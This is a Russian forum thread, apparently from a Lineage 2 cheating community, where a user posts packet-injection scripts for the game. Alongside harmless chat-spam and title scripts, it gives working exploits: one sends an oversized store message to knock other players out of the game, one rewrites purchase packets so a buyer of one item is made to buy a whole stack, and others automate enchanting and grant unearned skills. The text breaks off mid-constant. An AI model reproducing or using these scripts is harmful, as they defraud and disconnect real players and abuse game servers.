///////////////////////////////////////////////////////////////////////////
var
temp: array [1..20] of string;
timer1: TTimer;
x: integer;

procedure Init; //Вызывается при включении скрипта
begin
timer1:=TTimer.Create(nil);
timer1.OnTimer:[email protected]; //
timer1.enabled:=true; //
timer1.interval:=1000;



temp[1]:='" Водка в стиле IT: ';
temp[2]:='0.1л - demo ';
temp[3]:='0.25л - trial version ';
temp[4]:='0.5л - personal edition ';
temp[5]:='0.7л - professional edition ';
temp[6]:='1.0л - network edition ';
temp[7]:='1.75л - enterprise ';
temp[8]:='3л - for small business ';
temp[9]:='5л - corporate edition ';
temp[10]:='Бутыль самогона - home edition ';
temp[11]:='"На посошок" - Service pack ';
temp[12]:='Рассол с утра - Recovery tool ';
temp[13]:='Закуска - plugins ';
temp[14]:='Пиво - patch ';
temp[15]:='Coca-cola, Fanta, 7 UP - trojan viruses';
temp[16]:='';


x:=1;
end;

procedure OnTimer(Sender: TObject);
begin
///
if temp
<> '' then
begin
buf:=hstr('38');
writes(temp
);
buf:=buf + hstr('01 00 00 00'); ///9- али // 3-пати // 01 - общий
sendtoserverex('ник');
end;
x:=x+1;
if x>= 19 then x:=19; //ЭТА СТРОКА ДЛЯ ТОГО ЧТОБ XELAT заценил глубину мысли! незнаю я синтаксиса-) и учиться лень-) там какойто АНТИЛ надо применять-) а зачем? и так все пашет.
end;


procedure Free; //Вызывается при выключении скрипта
begin
timer1.Free;
end;

//основная часть скрипта
//вызывается при приходе каждого пакета если скрипт включен
begin

end.
 

minister

Пользователь
Регистрация
25 Авг 2011
Сообщения
121
Лайки
0
Баллы
0
бегуший титул
тестил на интерлюде все норм пашет
Код:
HTML:
// Бегущая строка в титуле, ©Br1nk v0.2
// пишем rt в пати чате для включения и выключения 

var 
title, temp, titleoff: string; 
activated, mult, safemode: integer; 
tmr: TTimer; 

procedure Init; //Вызывается при включении скрипта 
begin 
title := 'Padre JIoX A MHe IIoX '; // текст титула
titleoff := '~KPEBEDKO~'; 
activated := 0; // Определяет, включается ли бегущая строка сразу при запуске скрипта или только после введения команды rt в патичат 
safemode := 1; // безопасный режим, стандартная длина титула. Если вы играете на кривой яве, поставьте 0, это даст вам более длинный титул, соответственно выглядит пижже..) 
tmr := TTimer.Create(nil); 
tmr.Interval := 350; // Частота обновления (мс)
tmr.Enabled := False; 
tmr.OnTimer := @Tick; 
mult := 1; // Определяет на сколько букв сдвигается строка в титуле при обновлении 
end; 

procedure Free; 
begin 
tmr.Free; 
SetTitle(titleoff); 
end; 

procedure Tick; 
begin 
temp := copy(title, 2 + mult, Length(title) - 1 - mult) + copy(title, 1, 1 + mult); 
title := temp; 
if safemode then 
SetTitle(Copy(temp, 0, 16)) 
else 
SetTitle(temp); 
end; 

procedure Announce(text:string); // for debug purposes 
begin 
buf := #$4A; 
WriteD(0); 
WriteD(10); 
WriteS(''); 
WriteS(text); 
SendToClient; 
end; 

procedure SetTitle(text: string); 
begin 
buf := HStr('55'); 
WriteS(ConnectName); 
WriteS(text); 
WriteD(0); 
SendToServer; 
end; 

begin 
if FromClient and (pck=HStr('38 72 00 74 00 00 00 03 00 00 00')) then 
begin 
if (activated = 1) then 
begin 
activated := 0; 
SetTitle(titleoff); 
Announce('Title script powered off.'); 
end 
else 
activated := 1; 
pck := ''; 
end; 
if (activated = 1) then 
tmr.Enabled := True 
else 
tmr.Enabled := False; 
end.
 

minister

Пользователь
Регистрация
25 Авг 2011
Сообщения
121
Лайки
0
Баллы
0
Скрипт на выкидывание игроков с игры
Садимся на продажу по 1 адене любого итема
Нажимаем галочку в скрипте и результат не заставит себя ждать
Код:
HTML:
var
 MyID :integer;
 
begin
   if FromClient and (pck[1]=#$77) then
      begin
         buf:=#$77;
         WriteS('                                                             '+
                '                                                             '+
                '                                                             '+
                '                                                             '+
                '                                                             '+
                '                                                             '+
                '                                                             '+
                '                                                             '+
                '                                                             '+
                '                                                             '+
                '                                                             '+
                '                                                             '+
                '                                                             '+
                '                                                             ');
         pck:=buf;
      end;
 

minister

Пользователь
Регистрация
25 Авг 2011
Сообщения
121
Лайки
0
Баллы
0
Садимся на продажу любой стопки, когда у вас ктото купит хоть 1 итем он автоматически купит всё остальное
Для работы скрипта достаточно просто нажать галочку
Код:
HTML:
var
Data0, Data1, Data2, Data3, Data4: Integer;

begin
if FromServer and (pck[1]=#$9B) then
begin
Data0 := ReadD(30);
end
else
if FromClient and (pck[1]=#$79) then
begin
buf:=pck;
Data1 := ReadD(2);
Data2 := ReadD(6);
Data3 := ReadD(10);
Data4 := ReadD(14);
Data0 := Data0 - Data4;
SendToServer;

buf:=#$79;
WriteD(Data1);
WriteD(3);
WriteD(Data3);
WriteD(Data0);
WriteD(1);
WriteD(Data3);
WriteD(Data0);
WriteD(1);
WriteD(Data3);
WriteD(Data0);
WriteD(1);
SendToServer;
end;
end.
 

minister

Пользователь
Регистрация
25 Авг 2011
Сообщения
121
Лайки
0
Баллы
0
Скрипт на аугментацию. Работает на фрее.
Запускаем скрипт. Первый раз аугментируем/снимаем аугмент руками, дальше автоматически. Активируется соц.действиием "Нет".
Важно - скрипт удаляет и вставляет ЛС за один раз (мне лично так удобнее).
Код:
HTML:
const
   nik='яяя';

var
   WeaponID, LsID, GemID, GemCount, zero: integer;

procedure Init; //Вызывается при включении скрипта
begin

end;

procedure OnTimer01(Sender: TObject);
begin

end;

procedure Free; //Вызывается при выключении скрипта
begin

end;

procedure OnConnect(WithClient: Boolean); //Вызывается при установке соединения
begin

end;

procedure OnDisonnect(WithClient: Boolean); //Вызывается при потере соединения
begin

end;

//основная часть скрипта
//вызывается при приходе каждого пакета если скрипт включен
begin
    if FromClient and (pck[1]=#$D0) then
        begin
           WeaponID:=ReadD(4);
           LsID:=ReadD(8);
           GemID:=ReadD(12);
           GemCount:=ReadD(16);
        end;

//Cancel Augment

    if FromClient and (pck = HStr('56 19 00 00 00 00 00 00 00 00')) then   //62 AB 07 00 00 00 00 00 00 (Social No)

       begin
       buf:=hstr('FE 52 00 ');//окно удаления арГ
        SendToClient;
        delay(400);
          pck:='';
          Buf:=#$D0#$42#$00;
          WriteD(WeaponID);
          SendToServerEx(nik);
          Buf:=#$D0#$43#$00;
          WriteD(WeaponID);
          SendToServerEx(nik);
          buf:=hstr('FE 51 00 ');//окно Арг
          SendToClient;
          delay(400);
          pck:='';
          Buf:=#$D0#$26#$00;
          WriteD(WeaponID);
          SendToServerEx(nik);
          delay(350);
          Buf:=#$D0#$27#$00;
          WriteD(WeaponID);
          WriteD(LsID);
          SendToServerEx(nik);
          delay(400);
          Buf:=#$D0#$28#$00;
          WriteD(WeaponID);
          WriteD(LsID);
          WriteD(GemID);
          WriteD(GemCount);  
          WriteD(zero);
          SendToServerEx(nik);
          delay(400);
          Buf:=#$D0#$41#$00;
          WriteD(WeaponID);
          WriteD(LsID);
          WriteD(GemID);
          WriteD(GemCount); 
          WriteD(zero);
          SendToServerEx(nik);
       end;
end.
 

minister

Пользователь
Регистрация
25 Авг 2011
Сообщения
121
Лайки
0
Баллы
0
Скрипт на грацию(авто заточка)
Код:
HTML:
[HTML]var 
 x,i,OID,ItemID,ItemID1,ItemCount,ScrollID,j,k,l,m,temp1,temp2,ItemIDToEncant,MaxEnchant, 
   ItemOIDToEncant,ItemIDToEncant1,n,f,EnchantLevel,o:Integer; 
 z,Load,temp:word; 
 Scrolls:Array[0..299,0..1] of Integer; 
 procedure Init; //Вызывается при включении скрипта 
 begin 
 ItemIDToEncant:=6379; 
 //9857-Dynasty Two Handed Sword [Focus] 
 //9864-Dynasty Bow [Guidance] 
 //6379  Draconic Leather Armor 
 //6380  Draconic Leather Gloves 
 //6381  Draconic Leather Boots 
 //6382  Draconic Leather Helmet 
 //6656  Earring of Antharas 
 //6657  Necklace of Valakas 
 //6658  Ring of Baium 
 //6659  Zaken's Earring 
 //6660  Ring of Queen Ant 
 //6661  Earring of Orfen 
 //6662  Ring of Core 
или вписать что точить.
 ScrollID:=960; 
 //959-EWS 
 //960-EAS 
 MaxEnchant:=180; 
 j:=0; 
 k:=0; 
 n:=0; 
 end; 
 procedure SendMsg(msg:string); 
 begin 
 buf:=#$4A; 
 WriteD(0); 
 WriteD(10); 
 WriteS(''); 
 WriteS(msg); 
 SendToClient; 
 end; 
 Procedure Enchant(ScrolOID1,ItemOID1:Integer); 
 begin 
         buf:=#$14; 
         WriteD(ScrolOID1); 
         WriteD(0); 
         SendToServer; 
         delay(500); 
         buf:=#$58; 
         WriteD(ItemOID1); 
         SendToServer; 
         delay(30); 
 end; 
 begin 
 //Для запуска скрипта скажите "е" без кавычек на английской раскладке в пати-чат 
 if FromClient and (pck=#$38#$31#$00#$00#$00#$03#$00#$00#$00) then 
 begin 
 SendMsg('Процесс заточки начался! Это может занять от нескольких секунд, до 2-3 минут. Пожалуйста, подождите!'); 
 SendMsg('В это время может замечаться зависание клиента, это нормально.'); 
 buf:=#$0F; 
 SendToServer; 
 n:=1; 
 o:=1; 
 end; 
 if FromServer and (pck[1]=#$1B) and (o=1) then 
 begin 
 i:=4; 
 l:=0; 
 o:=0; 
 Load:=ReadH(i); 
 For x:=1 to Load do 
     begin 
     temp:=ReadH(i); 
     OID:=ReadD(i); 
     ItemID:=ReadD(i); 
     ItemCount:=ReadD(i); 
     if ItemID=ScrollID then 
        begin 
        Scrolls[l,0]:=ItemID; 
        Scrolls[l,1]:=OID; 
        l:=l+1; 
        end; 
     if ItemID=ItemIDToEncant then 
        begin 
        ItemOIDToEncant:=OID; 
        ItemIDToEncant1:=ItemID; 
        end; 
     i:=i+22; 
     end; 
 buf:=#$14; 
 WriteD(ItemOIDToEncant); 
 WriteD(0); 
 SendToServer; 
 end; 
 if FromServer and (pck[1]=#$27) and (n=1) then 
 begin 
 f:=12; 
 ItemID1:=ReadD(f); 
 temp:=ReadH(f); 
 temp:=ReadH(f); 
 temp:=ReadH(f); 
 temp:=ReadH(f); 
 temp:=ReadH(f); 
 temp1:=ReadD(f); 
 EnchantLevel:=ReadH(f); 
 if (ItemID1=ItemIDToEncant1) and (EnchantLevel<MaxEnchant) then 
 begin 
 n:=0; 
 For m:=0 to 299 do 
 begin 
 temp1:=Scrolls[m,0];  //ItemID 
 temp2:=Scrolls[m,1];  //OID 
        if temp1 <> 0 then 
        begin 
        Enchant(temp2,ItemOIDToEncant); 
        end; 
 end; 
 end; 
 end;

Добавлено через 6 минут
/// Скрипт Помогающий Учить скилы, Учит сразу Максимального lvl Скила.       \\\
/// Чтобы ипользовать  Скрипт, Начните Деалог с NPC У каторого учите скилы и \\\
/// ввидите в All чате Слово Negativ                                         \\\

var
bypass: string;
objectID, actionID, status: integer;

const
HTML='<html><body><center>'+
'<img src="L2UI_CH3.herotower_deco width=256 height=32>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.SquareBlank" width=260 height=4><br>'+
'<button value="Demon Weapon" action="bypass -h Demon Weapon" width=100 height=15 back="sek.cbui94" fore="sek.cbui92">'+
'<button value="GameMaster Skills" action="bypass -h GM Скилы" width=100 height=15 back="sek.cbui94" fore="sek.cbui92">'+
'<button value="HP/MP Increase" action="bypass -h HP/MP Increase" width=100 height=15 back="sek.cbui94" fore="sek.cbui92">'+
'<button value="Статы" action="bypass -h Stats" width=100 height=15 back="sek.cbui94" fore="sek.cbui92">'+
'<button value="Ultra Skills" action="bypass -h Ultra Skills" width=100 height=15 back="sek.cbui94" fore="sek.cbui92">'+
'<button value="Armor Mastery" action="bypass -h Armor Mastery" width=100 height=15 back="sek.cbui94" fore="sek.cbui92">'+
'<button value="Скилы Эпик бижи" action="bypass -h Epic" width=100 height=15 back="sek.cbui94" fore="sek.cbui92">'+
'<button value="Infinity Skills" action="bypass -h Infinity" width=100 height=15 back="sek.cbui94" fore="sek.cbui92">'+
'<button value="Эпик RB Скилы" action="bypass -h NBC" width=100 height=15 back="sek.cbui94" fore="sek.cbui92">'+
'<button value="Resist Skills" action="bypass -h Resist" width=100 height=15 back="sek.cbui94" fore="sek.cbui92">'+
'<button value="Скилы От Сэтов" action="bypass -h Set Skill" width=100 height=15 back="sek.cbui94" fore="sek.cbui92">'+
'<button value="Hero Skills" action="bypass -h Hero Skills" width=100 height=15 back="sek.cbui94" fore="sek.cbui92">'+
'<button value="SA Skills" action="bypass -h SA" width=100 height=15 back="sek.cbui94" fore="sek.cbui92">'+
'<button value="Дансы" action="bypass -h Dance" width=100 height=15 back="sek.cbui94" fore="sek.cbui92">'+
'<button value="Сонги" action="bypass -h Song" width=100 height=15 back="sek.cbui94" fore="sek.cbui92">'+
'<button value="Buff" action="bypass -h Buff" width=100 height=15 back="sek.cbui94" fore="sek.cbui92">'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.SquareBlank" width=260 height=4><br>'+
'<font color="04fbfb">Скрипт Помогающий Учить скилы</font><br>'+
'<font color="04fbfb">Учит сразу Максимального lvl Скила</font><br>'+
'<font color="04fbfb">Скрипт был написан ©Negativ</font><br>'+
'<font color="04fbfb">Скрипт Создан Для Наченающих Читеров</font><br>'+
'<font color="04fbfb">ICQ 44-075-611</font><br>'+
'</center></body></html>';

const
HTML_Zariche='<html><body><center>'+
'<img src="L2UI_CH3.herotower_deco" width=256 height=32>'+
'<font color="04fbfb">.::Demon Weapon::.</font><br>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.SquareBlank" width=260 height=4><br><td>'+
'<a action="bypass -h Demon Sword Zariche">Demon Sword Zariche</a>'+
'<a action="bypass -h Blood Sword Akamanah">Blood Sword Akamanah</a>'+
'<button value="Назад" action="bypass -h main" width=60 height=15 back="sek.cbui94" fore="sek.cbui92"><br>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.SquareBlank" width=260 height=4><br>'+
'<font color="04fbfb">.::Автор: Negativ::.</font><br>'+
'</center></body></html>';

const
HTML_Gm='<html><body><center>'+
'<img src="L2UI_CH3.herotower_deco" width=256 height=32>'+
'<font color="04fbfb">.::Гм Скилы::.</font><br>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.SquareBlank" width=260 height=4><br><td>'+
'<a action="bypass -h Super Haste">Super Haste</a>'+
'<a action="bypass -h Masters Blessing - Chant of Vctory">Masters Blessing - Chant of Vctory</a>'+
'<a action="bypass -h Masters Blessing - Haste">Masters Blessing - Haste</a>'+
'<a action="bypass -h Masters Blessing - Wind Walk">Masters Blessing - Wind Walke</a>'+
'<a action="bypass -h Masters Blessing - Greater Might">Masters Blessing - Greater Might</a>'+
'<a action="bypass -h Masters Blessing - Greater Shield">SMasters Blessing - Greater Shield</a>'+
'<a action="bypass -h Masters Blessing - Acumen">Masters Blessing - Acumen</a>'+
'<a action="bypass -h Masters Blessing - Bersekcer Spirit">Masters Blessing - Bersekcer Spirit</a>'+
'<a action="bypass -h Masters Blessing - Might">Masters Blessing - Might</a>'+
'<a action="bypass -h Masters Blessing - Shield">Masters Blessing - Shield</a>'+
'<a action="bypass -h Masters Blessing - Focus">Masters Blessing - Focus</a>'+
'<a action="bypass -h Masters Blessing - Death Whisper">Masters Blessing - Death Whisper</a>'+
'<a action="bypass -h Masters Blessing - Guidance">Masters Blessing - Guidance</a>'+
'<a action="bypass -h Masters Blessing - Blessed Body">Masters Blessing - Blessed Body</a>'+
'<a action="bypass -h Masters Blessing - Blessed Soul">Masters Blessing - Blessed Soul</a>'+
'<a action="bypass -h Masters Blessing - Agility">Masters Blessing - Agility</a>'+
'<a action="bypass -h Masters Blessing - Magic Barrier">Masters Blessing - Magic Barrier</a>'+
'<a action="bypass -h Masters Blessing - Empower">Masters Blessing - Empower</a>'+
'<a action="bypass -h Masters Blessing - Prophecy of Wind">Masters Blessing - Prophecy of Wind</a>'+
'<button value="Назад" action="bypass -h main" width=60 height=15 back="sek.cbui94" fore="sek.cbui92"><br>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.SquareBlank" width=260 height=4><br>'+
'<font color="04fbfb">.::Автор: Negativ::.</font><br>'+
'</center></body></html>';

const
HTML_HP='<html><body><center>'+
'<img src="L2UI_CH3.herotower_deco" width=256 height=32>'+
'<font color="04fbfb">.::HP/MP Increase::.</font><br>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.SquareBlank" width=260 height=4><br><td>'+
'<a action="bypass -h Increase HP x2">Increase HP x2</a>'+
'<a action="bypass -h Increase HP x3">Increase HP x3</a>'+
'<a action="bypass -h Increase HP x4">Increase HP x4</a>'+
'<a action="bypass -h Increase HP x5">Increase HP x5</a>'+
'<a action="bypass -h Increase HP x6">Increase HP x6</a>'+
'<a action="bypass -h Increase HP x7">Increase HP x7</a>'+
'<a action="bypass -h Increase HP x8">Increase HP x8</a>'+
'<a action="bypass -h Increase HP x9">Increase HP x9</a>'+
'<a action="bypass -h Increase HP x12">Increase HP x12</a>'+
'<a action="bypass -h Increase MP x12">Increase MP x12</a>'+
'<button value="Назад" action="bypass -h main" width=60 height=15 back="sek.cbui94" fore="sek.cbui92"><br>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.SquareBlank" width=260 height=4><br>'+
'<font color="04fbfb">.::Автор: Negativ::.</font><br>'+
'</center></body></html>';

const
HTML_stats='<html><body><center>'+
'<img src="L2UI_CH3.herotower_deco" width=256 height=32>'+
'<font color="04fbfb">.::STATS::.</font><br>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.SquareBlank" width=260 height=4><br><td>'+
'<a action="bypass -h DEX+60">DEX+60</a>'+
'<a action="bypass -h CON+45">CON+45</a>'+
'<a action="bypass -h STR+40">STR+40</a>'+
'<a action="bypass -h INT+65">INT+65</a>'+
'<a action="bypass -h WIT+40">WIT+40</a>'+
'<a action="bypass -h MEN+51">MEN+51</a>'+
'<button value="Назад" action="bypass -h main" width=60 height=15 back="sek.cbui94" fore="sek.cbui92"><br>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.SquareBlank" width=260 height=4><br>'+
'<font color="04fbfb">.::Автор: Negativ::.</font><br>'+
'</center></body></html>';

const
HTML_ultra='<html><body><center>'+
'<img src="L2UI_CH3.herotower_deco" width=256 height=32>'+
'<font color="04fbfb">.::Ultra Skills::.</font><br>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.SquareBlank" width=260 height=4><br><td>'+
'<a action="bypass -h Ultra P.Atk">Ultra P.Atk</a>'+
'<a action="bypass -h Ultra M.Atk">Ultra M.Atk</a>'+
'<a action="bypass -h Ultra P.Def">Ultra P.Def</a>'+
'<a action="bypass -h Ultra M.Def">Ultra M.Def</a>'+
'<a action="bypass -h Ultimate Buff">Ultimate Buff</a>'+
'<a action="bypass -h Ultimate Buff2">Ultimate Buff2</a>'+
'<a action="bypass -h Ultimate Buff3">Ultimate Buff3</a>'+
'<button value="Назад" action="bypass -h main" width=60 height=15 back="sek.cbui94" fore="sek.cbui92"><br>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.SquareBlank" width=260 height=4><br>'+
'<font color="04fbfb">.::Автор: Negativ::.</font><br>'+
'</center></body></html>';

const
HTML_Armor='<html><body><center>'+
'<img src="L2UI_CH3.herotower_deco" width=256 height=32>'+
'<font color="04fbfb">.::Ultra Skills::.</font><br>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.SquareBlank" width=260 height=4><br><td>'+
'<a action="bypass -h Light Armor Mastery">Light Armor Mastery</a>'+
'<a action="bypass -h Robe Mastery">Robe Mastery</a>'+
'<a action="bypass -h Heavy Armor Mastery">Heavy Armor Mastery</a>'+
'<a action="bypass -h Weapon Mastery">Weapon Mastery</a>'+
'<button value="Назад" action="bypass -h main" width=60 height=15 back="sek.cbui94" fore="sek.cbui92"><br>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.SquareBlank" width=260 height=4><br>'+
'<font color="04fbfb">.::Автор: Negativ::.</font><br>'+
'</center></body></html>';

const
HTML_epic='<html><body><center>'+
'<img src="L2UI_CH3.herotower_deco" width=256 height=32>'+
'<font color="04fbfb">.::Скилы Эпик бижи::.</font><br>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.SquareBlank" width=260 height=4><br><td>'+
'<a action="bypass -h Earring of Antharas">Earring of Antharas</a>'+
'<a action="bypass -h Earring of Orfen">Earring of Orfen</a>'+
'<a action="bypass -h Earring of Zaken">Earring of Zaken</a>'+
'<a action="bypass -h Necklace of Valakas">Necklace of Valakas</a>'+
'<a action="bypass -h Ring of Baium">Ring of Baium</a>'+
'<a action="bypass -h Ring of Core">Ring of Core</a>'+
'<a action="bypass -h Ring of Queen Ant">Ring of Queen Ant</a>'+
'<a action="bypass -h Frintezza''s Necklace">Frintezza''s Necklace</a><br>'+
'<button value="Назад" action="bypass -h main" width=60 height=15 back="sek.cbui94" fore="sek.cbui92"><br>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.SquareBlank" width=260 height=4><br>'+
'<font color="04fbfb">.::Автор: Negativ::.</font><br>'+
'</center></body></html>';

const
HTML_Inf='<html><body><center>'+
'<img src="L2UI_CH3.herotower_deco" width=256 height=32>'+
'<font color="04fbfb">.::Infinity Skills::.</font><br>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.SquareBlank" width=260 height=4><br><td>'+
'<a action="bypass -h Infinity Blade">Infinity Blade</a>'+
'<a action="bypass -h Infinity Axe">Infinity Axe</a>'+
'<a action="bypass -h Infinity Cleaver">Infinity Cleaver</a>'+
'<a action="bypass -h Infinity Crusher">Infinity Crusher</a>'+
'<a action="bypass -h Infinity Fang">Infinity Fang</a>'+
'<a action="bypass -h Infinity Stinger">Infinity Stinger</a>'+
'<a action="bypass -h Infinity Spear">Infinity Spear</a>'+
'<a action="bypass -h Infinity Bow">Infinity Bow</a>'+
'<a action="bypass -h Infinity Scepter">Infinity Scepter</a>'+
'<a action="bypass -h Infinity Rod">Infinity Rod</a><br>'+
'<button value="Назад" action="bypass -h main" width=60 height=15 back="sek.cbui94" fore="sek.cbui92"><br>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.SquareBlank" width=260 height=4><br>'+
'<font color="04fbfb">.::Автор: Negativ::.</font><br>'+
'</center></body></html>';

const
HTML_NBC='<html><body><center>'+
'<img src="L2UI_CH3.herotower_deco" width=256 height=32>'+
'<font color="04fbfb">.::Эпик РБ Скилы::.</font><br>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.SquareBlank" width=260 height=4><br><td>'+
'<br><font color="04fbfb">.::Baium Skills::.</font><br>'+
'<a action="bypass -h Baium: General Attack">Baium: General Attack</a>'+
'<a action="bypass -h Baium Gift">Baium Gift</a>'+
'<br><font color="04fbfb">.::Valakas Skills::.</font><br>'+
'<a action="bypass -h Valakas Lava Skin">Valakas Lava Skin</a>'+
'<a action="bypass -h Valakas Shock">Valakas Shock</a>'+
'<br><font color="04fbfb">.::Antharas Skills::.</font><br>'+
'<a action="bypass -h Antharas Shock">Antharas Shock</a>'+
'<br><font color="04fbfb">.::RB Skills::.</font><br>'+
'<a action="bypass -h BOSS Shield">BOSS Shield</a>'+
'<a action="bypass -h BOSS Stun shot">BOSS Stun shot</a>'+
'<a action="bypass -h Increase Rage Might">Increase Rage Might</a>'+
'<a action="bypass -h NPC dash">NPC dash</a>'+
'<font color="04fbfb">.::Автор: Negativ::.</font><br>'+
'<button value="Назад" action="bypass -h main" width=60 height=15 back="sek.cbui94" fore="sek.cbui92"><br>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.SquareBlank" width=260 height=4><br>'+
'<font color="04fbfb">.::Автор: Negativ::.</font><br>'+
'</center></body></html>';

const
HTML_Resist='<html><body><center>'+
'<img src="L2UI_CH3.herotower_deco" width=256 height=32>'+
'<font color="04fbfb">.::Resist Skills::.</font><br>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.SquareBlank" width=260 height=4><br><td>'+
'<a action="bypass -h Resist M.Atk">Resist M.Atk</a>'+
'<a action="bypass -h Resist Archery">Resist Archery</a>'+
'<a action="bypass -h Resist Physical Attack">Resist Physical Attack</a>'+
'<a action="bypass -h Resist Dagger">Resist Dagger</a>'+
'<a action="bypass -h Resist Two-handed Weapons">Resist Two-handed Weapons</a>'+
'<a action="bypass -h Resist Swords">Resist Swords</a>'+
'<a action="bypass -h Resist Dual-Sword Weapons">Resist Dual-Sword Weapons</a>'+
'<a action="bypass -h Resist Blunt Weapons">Resist Blunt Weapons</a>'+
'<a action="bypass -h Resist Hand-to-hand Weapons">Resist Hand-to-hand Weapons</a>'+
'<a action="bypass -h Resist Mental Derangement">Resist Mental Derangement</a>'+
'<a action="bypass -h Resist Paralysis">Resist Paralysis</a>'+
'<a action="bypass -h Resist Pole Arm">Resist Pole Arm</a>'+
'<a action="bypass -h Resist Sacred Attack">Resist Sacred Attack</a>'+
'<a action="bypass -h Resist Dark Attack">Resist Dark Attack</a>'+
'<a action="bypass -h Resist Hold">Resist Hold</a>'+
'<a action="bypass -h Resist Sleep">Resist Sleep</a><br>'+
'<button value="Назад" action="bypass -h main" width=60 height=15 back="sek.cbui94" fore="sek.cbui92"><br>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.SquareBlank" width=260 height=4><br>'+
'<font color="04fbfb">.::Автор: Negativ::.</font><br>'+
'</center></body></html>';

const
HTML_Set='<html><body><center>'+
'<img src="L2UI_CH3.herotower_deco" width=256 height=32>'+
'<font color="04fbfb">.::Resist Skills::.</font><br>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.SquareBlank" width=260 height=4><br><td>'+
'<font color="04fbfb">.::Armor Set (No Grade)::.</font><br>'+
'<a action="bypass -h Wooden Set">Wooden Set</a><br>'+
'<a action="bypass -h Devotion Set">Devotion Set</a><br>'+
'<font color="04fbfb">.::Armor Set (Grade D)::.</font><br>'+
'<a action="bypass -h Elven Mithril Set">Elven Mithril Set</a><br>'+
'<a action="bypass -h Knowledge Set">Knowledge Set</a><br>'+
'<a action="bypass -h Reinforced Leather Set">Reinforced Leather Set</a><br>'+
'<a action="bypass -h Manticore Set">Manticore Set</a><br>'+
'<a action="bypass -h Brigandine Set">Brigandine Set</a><br>'+
'<a action="bypass -h Mithril Heavy Armor Set">Mithril Heavy Armor Set</a><br>'+
'<font color="04fbfb">.::Armor Set (Grade C)::.</font><br>'+
'<a action="bypass -h Divine Set">Divine Set</a><br>'+
'<a action="bypass -h Karmian Set">Karmian Set</a><br>'+
'<a action="bypass -h Demon Set">Demon Set</a><br>'+
'<a action="bypass -h Drake Leather Set">Drake Leather Set</a><br>'+
'<a action="bypass -h Theca Leather Set">Theca Leather Set</a><br>'+
'<a action="bypass -h Plate Leather Set">Plate Leather Set</a><br>'+
'<a action="bypass -h Composite Set">Composite Set</a><br>'+
'<a action="bypass -h Chain Mail Set">Chain Mail Set</a><br>'+
'<a action="bypass -h Full Plate Set">Full Plate Set</a><br>'+
'<font color="04fbfb">.::Armor Set (Grade B)::.</font><br>'+
'<a action="bypass -h Doom Robe Set">Doom Robe Set</a><br>'+
'<a action="bypass -h Blue Wolf Robe Set">Blue Wolf Robe Set</a><br>'+
'<a action="bypass -h Avadon Robe Set">Avadon Robe Setp</a><br>'+
'<a action="bypass -h Zubei Robe Set">Zubei Robe Set</a><br>'+
'<a action="bypass -h Avadon Light Armor Set">Avadon Light Armor Set</a><br>'+
'<a action="bypass -h Zubei Light Armor Set">Zubei Light Armor Set</a><br>'+
'<a action="bypass -h Blue Wolf Light Armor Set">Blue Wolf Light Armor Set</a><br>'+
'<a action="bypass -h Doom Light Armor Set">Doom Light Armor Set</a><br>'+
'<a action="bypass -h Zubei Heavy Armor Set">Zubei Heavy Armor Set</a><br>'+
'<a action="bypass -h Avadon Heavy Armor Set">Avadon Heavy Armor Set</a><br>'+
'<a action="bypass -h Doom Heavy Armor Set">Doom Heavy Armor Setp</a><br>'+
'<a action="bypass -h Blue Wolf Heavy Armor Set">Blue Wolf Heavy Armor Set</a><br>'+
'<font color="04fbfb">.::Armor Set (Grade A)::.</font><br>'+
'<a action="bypass -h Majestic Robe Set">Majestic Robe Set</a><br>'+
'<a action="bypass -h Nightmare Robe Set">Nightmare Robe Set</a><br>'+
'<a action="bypass -h Tallum Robe Set">Tallum Robe Set</a><br>'+
'<a action="bypass -h Dark Crystal Robe Set">Dark Crystal Robe Set</a><br>'+
'<a action="bypass -h Majestic Light Armor Set">Majestic Light Armor Set</a><br>'+
'<a action="bypass -h Nightmare Light Armor Set">Nightmare Light Armor Set</a><br>'+
'<a action="bypass -h Tallum Light Armor Set">Tallum Light Armor Set</a><br>'+
'<a action="bypass -h Dark Crystal Light Armor Set">Dark Crystal Light Armor Set</a><br>'+
'<a action="bypass -h Nightmare Heavy Armor Set">Nightmare Heavy Armor Set</a><br>'+
'<a action="bypass -h Majestic Heavy Armor Set">Majestic Heavy Armor Set</a><br>'+
'<a action="bypass -h Tallum Heavy Armor Set">Tallum Heavy Armor Set</a><br>'+
'<a action="bypass -h Dark Crystal Heavy Armor Set">Dark Crystal Heavy Armor Set</a><br>'+
'<font color="04fbfb">.::Armor Set (Grade S)::.</font><br>'+
'<a action="bypass -h Major Arcana Robe Set">Major Arcana Robe Set</a><br>'+
'<a action="bypass -h Draconic Light Armor Set">Draconic Light Armor Set</a><br>'+
'<a action="bypass -h Imperial Crusader Heavy Armor Set">Imperial Crusader Heavy Armor Set</a><br>'+
